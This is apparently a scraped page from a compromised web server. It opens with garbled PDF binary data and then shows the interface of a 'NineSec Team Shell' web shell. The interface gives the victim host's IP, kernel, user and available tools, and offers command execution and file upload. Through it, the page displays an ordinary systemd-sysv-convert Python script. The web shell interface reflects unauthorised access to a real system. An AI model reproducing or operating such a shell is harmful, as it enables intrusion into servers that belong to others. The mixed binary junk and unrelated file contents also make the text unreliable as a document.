%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 10.0.3.46  /  Your IP : 172.69.17.142
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
System : Linux ukmjuara 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON
Directory (0555) :  /bin/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //bin/systemd-sysv-convert
#!/usr/bin/python
# -*- Mode: Python; python-indent: 8; indent-tabs-mode: t -*-

import sys, os, argparse, errno

def find_service(service, runlevel):
	priority = -1

	for l in os.listdir("/etc/rc%i.d" % runlevel):
		if len(l) < 4:
			continue

		if l[0] != 'S' or l[3:] != service:
			continue

		p = int(l[1:3])

		if p >= 0 and p <= 99 and p >= priority:
			priority = p;

	return priority

def lookup_database(services):
	try:
		database = open("/var/lib/systemd/sysv-convert/database", "r")
	except IOError, e:
		if e.errno != errno.ENOENT:
			raise e

		return {}

	found = {}
	k = 0

	for line in database:
		service, r, p = line.strip().split("\t", 3)
		k += 1

		try:
			runlevel = int(r)
			priority = int(p)
		except ValueError, e:
			sys.stderr.write("Failed to parse database line %i. Ignoring." % k)
			continue

		if runlevel not in (2, 3, 4, 5):
			sys.stderr.write("Runlevel out of bounds in database line %i. Ignoring." % k)
			continue

		if priority < 0 or priority > 99:
			sys.stderr.write("Priority out of bounds in database line %i. Ignoring." % k)
			continue

		if service not in services:
			continue

		if service not in found:
			found[service] = {}

		if runlevel not in found[service] or found[service][runlevel] < priority:
			found[service][runlevel] = priority

	return found

def mkdir_p(path):
	try:
		os.makedirs(path, 0755)
	except OSError, e:
		if e.errno != errno.EEXIST:
			raise e

if os.geteuid() != 0:
	sys.stderr.write("Need to be root.\n")
	sys.exit(1)

parser = argparse.ArgumentParser(description='Save and Restore SysV Service Runlevel Information')

parser.add_argument('services', metavar='SERVICE', type=str, nargs='+',
		    help='Service names')

parser.add_argument('--save', dest='save', action='store_const',
		    const=True, default=False,
		    help='Save SysV runlevel information for one or more services')

parser.add_argument('--show', dest='show', action='store_const',
		    const=True, default=False,
		    help='Show saved SysV runlevel information for one or more services')

parser.add_argument('--apply', dest='apply', action='store_const',
		    const=True, default=False,
		    help='Apply saved SysV runlevel information for one or more services to systemd counterparts')

a = parser.parse_args()

if a.save:
	for service in a.services:
		if not os.access("/etc/rc.d/init.d/%s" % service, os.F_OK):
			sys.stderr.write("SysV service %s does not exist.\n" % service)
			sys.exit(1)

	mkdir_p("/var/lib/systemd/sysv-convert")
	database = open("/var/lib/systemd/sysv-convert/database", "a")

	for runlevel in (2, 3, 4, 5):
		priority = find_service(service, runlevel)

		if priority >= 0:
			database.write("%s\t%s\t%s\n" % (service, runlevel, priority))

elif a.show:
	found = lookup_database(a.services)

	if len(found) <= 0:
		sys.stderr.write("No information about passed services found.\n")
		sys.exit(1)

	for service, data in found.iteritems():
		for runlevel, priority in data.iteritems():
			sys.stdout.write("SysV service %s enabled in runlevel %s at priority %s\n" % (service, runlevel, priority))

elif a.apply:
	for service in a.services:
		if not os.access("/lib/systemd/system/%s.service" % service, os.F_OK):
			sys.stderr.write("systemd service %s.service does not exist.\n" % service)
			sys.exit(1)

	found = lookup_database(a.services)

	if len(found) <= 0:
		sys.stderr.write("No information about passed services found.\n")
		sys.exit(1)

	for service, data in found.iteritems():
		for runlevel in data.iterkeys():

			sys.stderr.write("ln -sf /lib/systemd/system/%s.service /etc/systemd/system/runlevel%i.target.wants/%s.service\n" % (service, runlevel, service))

			mkdir_p("/etc/systemd/system/runlevel%i.target.wants" % runlevel)

			try:
				os.symlink("/lib/systemd/system/%s.service" % service,
					   "/etc/systemd/system/runlevel%i.target.wants/%s.service" % (runlevel, service))
			except OSError, e:
				if e.errno != errno.EEXIST:
					raise e

else:
	parser.print_help()

NineSec Team - 2022